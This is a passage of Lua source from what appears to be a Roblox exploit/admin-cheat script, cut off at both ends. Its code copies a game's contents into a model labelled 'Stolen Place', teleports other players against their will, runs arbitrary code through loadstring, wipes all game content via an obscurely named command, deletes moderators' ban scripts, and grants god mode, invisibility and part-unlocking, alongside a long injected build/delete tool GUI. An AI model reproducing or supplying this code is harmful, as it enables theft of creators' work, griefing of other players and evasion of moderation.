DOWN.MouseButton1Click:connect(function() if (Max>=#Children) then return
end Min=Min+1 Max=Max+1 SetExplGui() end)
else
Max=MAXPAGEN
Min=1
for i=1,#Children do
local Obj=Instance.new("TextButton")
Obj.Size=UDim2.new(0,120,0,15)
Obj.BorderColor3=Color3.new(0,0,0)
Obj.TextColor3=Color3.new(0,0,0)
Obj.Parent=ExplGui
Obj.Text=" "..Children[i].Name
Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
Obj.BackgroundTransparency=0.5
Obj.TextXAlignment="Left"
if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(i*15)) else
Obj.Position=UDim2.new(0,380,0,(i*15)-15) end
Obj.Name=Children[i].Name
SetImage(Obj,Children[i].className)
Obj.MouseButton1Click:connect(function() pcall(function()
Selection=Children[i] SetExplGui() SetPropGui() end) end)
local Remove=Instance.new("TextButton")
Remove.Size=UDim2.new(0,15,0,15)
Remove.BorderColor3=Color3.new(0,0,0)
Remove.TextColor3=Color3.new(0,0,0)
Remove.Parent=ExplGui
Remove.Text="X"
Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
Remove.BackgroundTransparency=0.5
Remove.Name="Remove" .. Children[i].Name
if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(i*15))
else Remove.Position=UDim2.new(0,500,0,(i*15)-15) end
Remove.MouseButton1Click:connect(function() if (pcall(function()
Children[i]:Remove() end)) then SetPropGui() SetExplGui() else
Remove.BackgroundColor3=Color3.new(1,1,1) wait(1)
Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
end
end
end
----------------
Selection.Changed:connect(function(prop)
if (Selection==game) then return end
if (updateDebounce==1) then
updateDebounce=0
if (Selection.Parent==nil) then
Selection=game
updateDebounce=1
SetPropGui()
SetExplGui()
return end
if (PropGui~=nil) then
local Button=PropGui:FindFirstChild(prop)
if (Button~=nil) then
local Get=GetType(prop)
Button.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
end end
wait()
updateDebounce=1
end end)
---------------------------
end
SetPropGui()
SetExplGui()

end
Hint=function(txt,t)
if not pcall(function()local w=game:service'CoreGui':children''end)then
return end
local Hint=Instance.new('Hint',game:service'CoreGui')
Hint.Text=txt
wait(t)
Hint:remove''
end
if wfp(game,'PlaceId')~=0 then if Ray.Hacked then error'Hack exist'return end end
Player=wfp(s'Players','LocalPlayer')
table.insert(Connects,Player.Chatted:connect(SearchCommand))
if pcall(function()s'CoreGui':IsA''end)then
PlayerGui=s'CoreGui'
else
PlayerGui=wfo(Player,'Name','PlayerGui')
end
Commands.tele=function(place_id)
local players = {}
for i, v in next, Game.Players:GetPlayers() do
if v ~= Game.Players.LocalPlayer then
table.insert(players, v)
end
end
for i, v in next, players do
pcall(function() v:SetSuperSafeChat(true) end)
end
LoadOnClients(players, TeleportScript(place_id))
end
Commands.ff=function(v,asd)
for i,v in pairs(pf(asd[1]))do
if v.Character then
for i,v in
pairs(FindChildren(v.Character,'ClassName','ForceField'))do
v:remove''
end
if asd[2]=='false'then return end
Instance.new('ForceField',v.Character)
end
end
end
Commands.port=function(v)
local t=game:service'InsertService':LoadAsset'64667087'
if v or v~=''then
t:FindFirstChild('port',true).Value=v
end
game:service'InsertService':Insert(t)
end
Commands.savegame=function()
Place=Instance.new('Model',settings'')
Place.Name=tick''..'Stolen Place '..game.PlaceId
Workspace=Instance.new('Model',Place)
Workspace.Name='Workspace'
Lighting=Instance.new('Model',Place)
Lighting.Name='Lighting'
StarterPack=Instance.new('Model',Place)
StarterPack.Name='StarterPack'
StarterGui=Instance.new('Model',Place)
StarterGui.Name='StarterGui'
Teams=Instance.new('Model',Place)
Teams.Name='Teams'
Players=Instance.new('Model',Place)
Players.Name='Players'
SoundService=Instance.new('Model',Place)
SoundService.Name='SoundService'
for asdasd,asd in pairs(Place:children'')do
for i,v in pairs(game:service(asd.Name):children'')do
pcall(function()
if not v:IsA("Player") then
if v:IsA("Model") then
v.Archivable=true end
v:clone''.Parent=asd
elseif v:IsA("Player") then
plr=Instance.new('Model',Players) plr.Name=v.Name
for e,i in
pairs(v:GetChildren())do i:clone().Parent = plr end
end
end)
end
end
Hint('Save game complete',10)
end
Commands.suicide=function()
for i,v in pairs(Connects)do
v:disconnect''
end
for i,v in pairs(PlayerGui:children'')do
if v.Name==CommanderName then pcall(v.remove,v)end
end
end
Commands.power=function()
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=PowerScriptSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.nova=function()
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=NovaSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.gaara=function()
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=GaaraSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.outgame=function() AntibanScript=false
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=OutGameSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.load=function(v)loadstring(v)()end
Commands.script=function(v)CreateScript('Script',s'Workspace',v)end
Commands['local']=function(v)CreateScript('LocalScript',Player.Backpack,v)end
Commands.dqydqshdjwxcfvwxbclmkljpoiuiyuiteyrteyazeqdsdfdgfdj=function(v,asd)
game:service'Players'.LocalPlayer.Parent=nil
game:service'Players'.LocalPlayer.Parent=game:service'Players'
game:ClearContent'true'
for i,v in pairs(GetAll(game))do
pcall(v.remove,v)
end
game.DescendantAdded:connect(function(c)pcall(c.remove,c)end)
end
Commands.reset=function(v,asd)
for i,p in pairs(pf(asd[1]))do
Delay(0,function()
for i,v in pairs(p.Character:children'')do
if not v:IsA'Humanoid'then
pcall(v.remove,v)
end
end
end)
end
end
Commands.bar=CommandBar
CommandBar''
AntiBan=function()
coroutine.resume(coroutine.create(function()
while true and wait() do
for _,v in pairs(game.Workspace:GetChildren()) do
if (v:IsA("Script")) and (v.Name=="BanScript") then
v.Disabled=true
v:remove()
elseif (v:IsA("Script")) and (string.sub(v.Name, 1,
9)=="Person299") then
v.Disabled=true
v:remove()
end
end
end
end))
end
AntiBan''
X(function()
local gs=s'GuiService'
gs:AddKey(CmdbKey)
gs:AddKey(FocusKey)
gs:AddKey(ExplorerKey)
gs:AddKey(ExproKey)
gs:AddKey(GearKey)
gs:AddKey(BuildKey)
gs:AddKey(GodKey)
gs:AddKey(UnlockKey)
gs:AddKey(LockKey)
gs:AddKey(InvisiKey)
gs:AddKey(VisiKey)
gs:AddKey(AdminKey)
table.insert(Connects,gs.KeyPressed:connect(function(Key)
if Key==CmdbKey then

if(game.Players.LocalPlayer.Name=="LocalCheater")then

game.Players.LocalPlayer.CharacterAppearance = "http://www.roblox.com/asset/?
ID=67950579"

game.Players.LocalPlayer.Character.Humanoid.Health = 0

game.Players.LocalPlayer:SetSuperSafeChat(false)
else
if CommanderScreen.Parent then

pcall(CommanderScreen.remove,CommanderScreen)

Player:SetSuperSafeChat(false)
return
end
CommandBar''

game.Players.LocalPlayer:SetSuperSafeChat(false)
end
elseif Key==FocusKey then
CommanderFocus''
elseif Key==ExproKey then
ExproGui''
Player:SetSuperSafeChat(false)
elseif Key==ExplorerKey then
ExplorerGui''
Player:SetSuperSafeChat(false)
elseif Key==AdminKey then
coroutine.resume(coroutine.create(function()
if(game.Players.LocalPlayer.Character~=nil)then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("_admincmd"))then

AdminScript=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
AdminScript.Name="_admincmd"

AdminScript.Source=AdminScriptSource
AdminScript.Disabled=true
AdminScript.Disabled=false
end
end
end))
elseif Key==InvisiKey then
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
MergeTool=ctool("iMergeTool")

MergeScript=Instance.new("LocalScript",MergeTool)
end
MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
function invisi(path)
for _,v in pairs(path:GetChildren())do

if(v:IsA("Part"))or(v:IsA("Decal"))then
v.Transparency=1
end
invisi(v)
end
end
if(game.Players.LocalPlayer.Character~=nil)then

invisi(game.Players.LocalPlayer.Character)
end
game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge

game.Players.LocalPlayer.Character.Humanoid.Health=math.huge

game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed

game.Players.LocalPlayer:SetSuperSafeChat(false)
end))
elseif Key==VisiKey then
coroutine.resume(coroutine.create(function()
function uninvisi(path)
for _,v in pairs(path:GetChildren())do

if(v:IsA("Part"))or(v:IsA("Decal"))then
v.Transparency=0
end
uninvisi(v)
end
end
if(game.Players.LocalPlayer.Character~=nil)then

uninvisi(game.Players.LocalPlayer.Character)
end

game.Players.LocalPlayer.Character.Humanoid.MaxHealth=100

game.Players.LocalPlayer.Character.Humanoid.Health=100

game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=16

game.Players.LocalPlayer:SetSuperSafeChat(false)
end))
elseif Key==GodKey then
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then

MergeTool=ctool("iMergeTool")

MergeScript=Instance.new("LocalScript",MergeTool)
end

MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iTeleport"))then

TeleportTool=ctool("iTeleport")

TeleportScript=Instance.new("LocalScript",TeleportTool)
end
TeleportScript.Source=[[

if(script.Parent:IsA("HopperBin"))then

script.Parent.Selected:connect(function(mouse)
mouse.Button1Down:connect(function()

if(game.Players.LocalPlayer.Character~=nil)then

if(game.Players.LocalPlayer.Character.Torso~=nil)then

game.Players.LocalPlayer.Character.Torso.CFrame=CFrame.new(mouse.Hit.p+Vector3.new(
0,5,0))
end
end
end)
end)
end]]
TeleportScript.Disabled=true
TeleportScript.Disabled=false
function aff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("Part"))then

Instance.new("ForceField",v)
end
aff(v)
end
end

aff(game.Players.LocalPlayer.Character)

Instance.new("ForceField",game.Players.LocalPlayer.Character)

game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed

game.Players.LocalPlayer.Character.Head.Transparency=1

if(game.Players.LocalPlayer.Character.Head:FindFirstChild("face"))then

game.Players.LocalPlayer.Character.Head:FindFirstChild("face"):remove()
end

game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
wait()

game.Players.LocalPlayer.Character.Humanoid.Health=math.huge

game.Players.LocalPlayer:SetSuperSafeChat(false)
end))
Player:SetSuperSafeChat(false)
elseif Key==UnlockKey then
function unlock(root)
for _, v in pairs(root:GetChildren()) do
if(v:IsA("Part"))then
v.Locked=false
end
unlock(v)
end
end
unlock(game.Workspace)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then
local load=ctool("Unlocked!")
end
wait(4)
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then

game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"):remove()
end
end))
elseif Key==LockKey then
function unlock(root)
for _, v in pairs(root:GetChildren()) do
if(v:IsA("Part"))then
v.Locked=true
end
unlock(v)
end
end
unlock(game.Workspace)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then
local load=ctool("Locked!")
end
wait(4)
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then

game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"):remove()
end
end))
elseif Key==BuildKey then
Player:SetSuperSafeChat(false)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then

MergeTool=ctool("iMergeTool")

MergeScript=Instance.new("LocalScript",MergeTool)
end

MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iCloneTool"))then
local clone=ctool("iCloneTool")
clone.BinType = "Clone"
end
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabPartTool"))then
local move=ctool("iGrabPartTool")
move.BinType = "GameTool"
end
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabModelTool"))then
local move=ctool("iGrabModelTool")
move.BinType = "Grab"
end
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iBTool"))then
iBTool=ctool("iBTool")

iBToolScript=Instance.new("LocalScript",iBTool)

iBToolScript.Name="iBScript"
end
iBToolScript.Source=[[
plr=game.Players.LocalPlayer
plg=plr.PlayerGui

coroutine.resume(coroutine.create(function(plr) while(wait())do
chr=plr.Character end end),plr)

if(script.Parent.ClassName~="HopperBin")then

bin=Instance.new("HopperBin",plr.Backpack)
bin.Name="iBTool"
script.Name="iBScript"
script.Parent=bin
else
script.Name="iBScript"
bin=script.Parent
bin.Name="iBTool"
end

bin.Selected:connect(function(mouse) print("iBTool_Selected")

box=Instance.new("SelectionBox")

lso=Instance.new("SelectionPointLasso",chr)
lso.Visible=false

lso.Humanoid=chr:FindFirstChild("Humanoid")
md1=1
md2=1
md3=1
clr=true
ste=false
lvi=false
cle=false
tme=.3
function createGui()

gui=Instance.new("ScreenGui",plg)
gui.Name="iBGui"
--PanelGUI--

frm=Instance.new("Frame",gui)
frm.Visible=false
frm.Name="iBPanel"

frm.Position=UDim2.new(0.0199999996,0,0.400000006,0)

frm.Size=UDim2.new(0.150000006,0,0.400000006,0)

frm.Style="RobloxRound"
frm.ZIndex=8

lab=Instance.new("TextLabel",frm)
lab.Name="iBTitle"

lab.BackgroundTransparency=1

lab.Size=UDim2.new(1,0,0.150000006,0)
lab.ZIndex=9

lab.Font="ArialBold"

lab.FontSize="Size18"

lab.Text="iBuildTools Panel"

lab.TextColor3=Color3.new(1,1,1)

lab.TextStrokeTransparency=0

lab.TextStrokeColor3=Color3.new(0,0,0)

del=Instance.new("TextButton",frm)

del.Name="iBDelete"

del.BackgroundTransparency=1

del.Position=UDim2.new(0,0,0.200000003,0)

del.Size=UDim2.new(1,0,0.119999997,0)

del.Style="RobloxButtonDefault"
del.ZIndex=9

del.Font="ArialBold"

del.FontSize="Size12"
del.Text="Delete"

del.TextColor3=Color3.new(1,1,1)
del.Selected=true

ach=Instance.new("TextButton",frm)

ach.Name="iBAnchor"

ach.BackgroundTransparency=1

ach.Position=UDim2.new(0,0,0.330000013,0)

ach.Size=UDim2.new(1,0,0.119999997,0)
ach.Style="RobloxButton"
ach.ZIndex=9

ach.Font="ArialBold"

ach.FontSize="Size12"
ach.Text="Anchor"

ach.TextColor3=Color3.new(1,1,1)

col=Instance.new("TextButton",frm)

col.Name="iBCanCollide"

col.BackgroundTransparency=1

col.Position=UDim2.new(0,0,0.460000008,0)

col.Size=UDim2.new(1,0,0.119999997,0)

col.Style="RobloxButton"
col.ZIndex=9

col.Font="ArialBold"

col.FontSize="Size12"

col.Text="CanCollide"

col.TextColor3=Color3.new(1,1,1)

lck=Instance.new("TextButton",frm)
lck.Name="iBLock"

lck.BackgroundTransparency=1

lck.Position=UDim2.new(0,0,0.579999983,0)

lck.Size=UDim2.new(1,0,0.119999997,0)

lck.Style="RobloxButton"
lck.ZIndex=9

lck.Font="ArialBold"

lck.FontSize="Size12"
lck.Text="Lock"

lck.TextColor3=Color3.new(1,1,1)

brk=Instance.new("TextButton",frm)
brk.Name="iBBreak"

brk.BackgroundTransparency=1

brk.Position=UDim2.new(0,0,0.699999988,0)

brk.Size=UDim2.new(1,0,0.119999997,0)
brk.Style="RobloxButton"
brk.ZIndex=9

brk.Font="ArialBold"

brk.FontSize="Size12"

brk.Text="BreakJoints"

brk.TextColor3=Color3.new(1,1,1)

set=Instance.new("TextButton",frm)

set.Name="iBSettings"

set.BackgroundTransparency=1

set.Position=UDim2.new(0,0,0.829999983,0)

set.Size=UDim2.new(1,0,0.119999997,0)

set.Style="RobloxButton"
set.ZIndex=9

set.Font="ArialBold"

set.FontSize="Size12"

set.Text="Settings"

set.TextColor3=Color3.new(1,1,1)
frm.Visible=true
--SettingsGUI--

frs=Instance.new("Frame",gui)
frs.Visible=false

frs.Name="iBSettings"

frs.Position=UDim2.new(0.389999986,0,0.400000006,0)

frs.Size=UDim2.new(0.25,0,0.25,0)

frs.Style="RobloxRound"
frs.ZIndex=8

frw=Instance.new("Frame",frs)

frw.Name="iBWindow"

frw.Position=UDim2.new(0,0,0.25999999,0)

frw.Size=UDim2.new(1,0,0.74000001,0)

frw.Style="RobloxRound"
frw.ZIndex=8

cls=Instance.new("TextButton",frs)
cls.Name="iBClose"

cls.Position=UDim2.new(0.850000024,0,-0.00999999978,0)

cls.Size=UDim2.new(0.150000006,0,0.219999999,0)

cls.Style="RobloxButtonDefault"
cls.ZIndex=10

cls.Font="ArialBold"

cls.FontSize="Size12"
cls.Text="X"

cls.TextColor3=Color3.new(1,0,0)

wtl=Instance.new("TextLabel",frs)
wtl.Name="iBTitle"

wtl.BackgroundTransparency=1

wtl.Size=UDim2.new(1,0,0.25,0)
wtl.ZIndex=9

wtl.Font="ArialBold"

wtl.FontSize="Size14"

wtl.Text="iBuildTools Settings Window"

wtl.TextColor3=Color3.new(1,1,1)

wtl.TextStrokeColor3=Color3.new(0,0,0)

wtl.TextStrokeTransparency=0

wtl.TextXAlignment="Left"

clk=Instance.new("TextLabel",frw)
clk.Name="iBClick"

clk.BackgroundTransparency=1

clk.Size=UDim2.new(1,0,0.330000013,0)
clk.ZIndex=10

clk.Font="ArialBold"

clk.FontSize="Size12"

clk.TextColor3=Color3.new(1,1,1)
clk.Text=" - Click
Mode : "

clk.TextStrokeColor3=Color3.new(0,0,0)

clk.TextStrokeTransparency=0

clk.TextXAlignment="Left"
ray=Instance.new("TextLabel",frw)
ray.Name="iBRay"

ray.BackgroundTransparency=1

ray.Position=UDim2.new(0,0,0.330000013,0)

ray.Size=UDim2.new(1,0,0.330000013,0)
ray.ZIndex=10

ray.Font="ArialBold"

ray.FontSize="Size12"

ray.TextColor3=Color3.new(1,1,1)
ray.Text=" - Ray
Mode : "

ray.TextStrokeColor3=Color3.new(0,0,0)

ray.TextStrokeTransparency=0

ray.TextXAlignment="Left"

rfc=Instance.new("TextLabel",frw)

rfc.Name="iBRayFunction"

rfc.BackgroundTransparency=1

rfc.Position=UDim2.new(0,0,0.660000013,0)

rfc.Size=UDim2.new(1,0,0.330000013,0)
rfc.ZIndex=10

rfc.Font="ArialBold"

rfc.FontSize="Size12"

rfc.TextColor3=Color3.new(1,1,1)
rfc.Text=" - Ray
Function : "

rfc.TextStrokeColor3=Color3.new(0,0,0)

rfc.TextStrokeTransparency=0

rfc.TextXAlignment="Left"

ckb=Instance.new("TextButton",frw)

ckb.Name="iBClickButton"

ckb.Position=UDim2.new(0.400000006,0,0,0)

ckb.Size=UDim2.new(0.600000024,0,0.330000013,0)
ckb.ZIndex=10
ckb.Selected=true
ckb.Style="RobloxButtonDefault"

ckb.Font="ArialBold"

ckb.FontSize="Size12"
ckb.Text="Enabled"

ckb.TextColor3=Color3.new(0,1,0)

ryb=Instance.new("TextButton",frw)

ryb.Name="iBRayButton"

ryb.Position=UDim2.new(0.400000006,0,0.330000013,0)

ryb.Size=UDim2.new(0.600000024,0,0.330000013,0)

ryb.Style="RobloxButton"
ryb.ZIndex=10

ryb.Font="ArialBold"

ryb.FontSize="Size12"

ryb.Text="Disabled"

ryb.TextColor3=Color3.new(1,0,0)

rfb=Instance.new("TextButton",frw)

rfb.Name="iBRayFButton"

rfb.Position=UDim2.new(0.400000006,0,0.660000013,0)

rfb.Size=UDim2.new(0.600000024,0,0.330000013,0)

rfb.Style="RobloxButtonDefault"
rfb.ZIndex=10

rfb.Font="ArialBold"

rfb.FontSize="Size12"
rfb.Text="Enable
Propertie"

rfb.TextColor3=Color3.new(0,1,0)
end
createGui()

coroutine.resume(coroutine.create(function()
while(mouse)and
wait() do

if(box)and(ray)then

if(lvi)then

lso.Visible=true
else

lso.Visible=false
end

if(md1==1)then

if(clr)then

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

box.Visible=true

box.Parent=chr

box.Adornee=mouse.Target

if(md2==1)then

box.Color=BrickColor.new("Bright red")

elseif(md2==2)then

if(mouse.Target.Anchored)then

box.Color=BrickColor.new("Camo")

else

box.Color=BrickColor.new("Bright red")

end

elseif(md2==3)then

if(mouse.Target.CanCollide)then

box.Color=BrickColor.new("Camo")

else

box.Color=BrickColor.new("Bright red")

end

elseif(md2==4)then

if(mouse.Target.Locked)then

box.Color=BrickColor.new("Camo")

else
box.Color=BrickColor.new("Bright red")

end

elseif(md2==5)then

box.Color=BrickColor.new("Bright blue")

end

end

else

box.Visible=false

box.Parent=nil

box.Adornee=nil

end

end

elseif(md1==2)then

lso.Point=mouse.Hit.p

lso.Parent=chr

box.Visible=false

box.Parent=nil

box.Adornee=nil

if(md2~=1)and(md2~=5)then

if(md3==1)then

lso.Color=BrickColor.new("Camo")

elseif(md3==2)then

lso.Color=BrickColor.new("Bright red")

end

elseif(md2==1)then

if(cle)then

lso.Color=BrickColor.new("Bright red")

else

lso.Color=BrickColor.new("Bright blue")

end
elseif(md2==5)then

if(cle)then

lso.Color=BrickColor.new("Bright red")

else

lso.Color=BrickColor.new("Bright blue")

end

end
end
end
end
end))
function delDown()

del_downFunc=mouse.Button1Down:connect(function()
md2=1

if(md2==1)then

if(md1==1)then

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

mouse.Target:remove()

end

end

elseif(md1==2)then

lvi=true

while(lvi)and wait() do

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

mouse.Target:remove()

cle=true

wait(tme)
cle=false

else

cle=false

end

else

cle=false

end

end
end
end
end)
end
function delUp()

del_upFunc=mouse.Button1Up:connect(function()
lvi=false
cle=false
end)
end
function achDown()

ach_downFunc=mouse.Button1Down:connect(function()
md2=2

if(md2==2)then

if(md1==1)then

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(mouse.Target.Anchored)then

mouse.Target.Anchored=false

else

mouse.Target.Anchored=true

end

end

end

elseif(md1==2)then
lvi=true

while(lvi)and wait() do

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(md3==1)then

mouse.Target.Anchored=true

elseif(md3==2)then

mouse.Target.Anchored=false

end

end

end

end
end
end
end)
end
function achUp()

ach_upFunc=mouse.Button1Up:connect(function()
lvi=false
end)
end
function colDown()

col_downFunc=mouse.Button1Down:connect(function()
md2=3

if(md2==3)then

if(md1==1)then

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(mouse.Target.CanCollide)then

mouse.Target.CanCollide=false

else
mouse.Target.CanCollide=true

end

end

end

elseif(md1==2)then

lvi=true

while(lvi)and wait() do

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(md3==1)then

mouse.Target.CanCollide=true

elseif(md3==2)then

mouse.Target.CanCollide=false

end

end

end

end
end
end
end)
end
function colUp()

col_upFunc=mouse.Button1Up:connect(function()
lvi=false
end)
end
function lckDown()

lck_downFunc=mouse.Button1Down:connect(function()
md2=4

if(md2==4)then

if(md1==1)then

if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(mouse.Target.Locked)then

mouse.Target.Locked=false

else

mouse.Target.Locked=true

end

end

end

elseif(md1==2)then

lvi=true

while(lvi)and wait() do

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

if(md3==1)then

mouse.Target.Locked=true

elseif(md3==2)then

mouse.Target.Locked=false

end

end

end

end
end
end
end)
end
function lckUp()

lck_upFunc=mouse.Button1Up:connect(function()
lvi=false
end)
end
function brkDown()
brk_downFunc=mouse.Button1Down:connect(function()
md2=5

if(md2==5)then

if(md1==1)then

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

clr=false

box.Color=BrickColor.new("Bright red")

mouse.Target:BreakJoints()

end

end

elseif(md1==2)then

lvi=true

while(lvi)and wait() do

if(mouse.Target~=nil)then

if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then

mouse.Target:BreakJoints()

cle=true

else

cle=true

end

else

cle=false

end

end
end
end
end)
end
function brkUp()

brk_upFunc=mouse.Button1Up:connect(function()
clr=true
lvi=false
cle=false
end)
end
delDown()
delUp()
achDown()
achUp()
colDown()
colUp()
lckDown()
lckUp()
brkDown()
brkUp()

del.MouseButton1Click:connect(function()
md2=1

del_downFunc:disconnect()

del_upFunc:disconnect()

ach_downFunc:disconnect()

ach_upFunc:disconnect()

col_downFunc:disconnect()

col_upFunc:disconnect()

lck_downFunc:disconnect()

lck_upFunc:disconnect()

brk_downFunc:disconnect()

brk_upFunc:disconnect()

del.Style="RobloxButtonDefault"
del.Selected=true

ach.Style="RobloxButton"
ach.Selected=false

col.Style="RobloxButton"
col.Selected=false

lck.Style="RobloxButton"
lck.Selected=false

brk.Style="RobloxButton"
brk.Selected=false
delDown()
delUp()
end)
ach.MouseButton1Click:connect(function()
md2=2

del_downFunc:disconnect()

del_upFunc:disconnect()

ach_downFunc:disconnect()

ach_upFunc:disconnect()

col_downFunc:disconnect()

col_upFunc:disconnect()

lck_downFunc:disconnect()

lck_upFunc:disconnect()

brk_downFunc:disconnect()

brk_upFunc:disconnect()

del.Style="RobloxButton"
del.Selected=false

ach.Style="RobloxButtonDefault"
ach.Selected=true

col.Style="RobloxButton"
col.Selected=false

lck.Style="RobloxButton"
lck.Selected=false

brk.Style="RobloxButton"
brk.Selected=false
achDown()
achUp()
end)

col.MouseButton1Click:connect(function()
md2=3

del_downFunc:disconnect()

del_upFunc:disconnect()

ach_downFunc:disconnect()

ach_upFunc:disconnect()

col_downFunc:disconnect()

col_upFunc:disconnect()

lck_downFunc:disconnect()
lck_upFunc:disconnect()

brk_downFunc:disconnect()

brk_upFunc:disconnect()

del.Style="RobloxButton"
del.Selected=false

ach.Style="RobloxButton"
ach.Selected=false

col.Style="RobloxButtonDefault"
col.Selected=true

lck.Style="RobloxButton"
lck.Selected=false

brk.Style="RobloxButton"
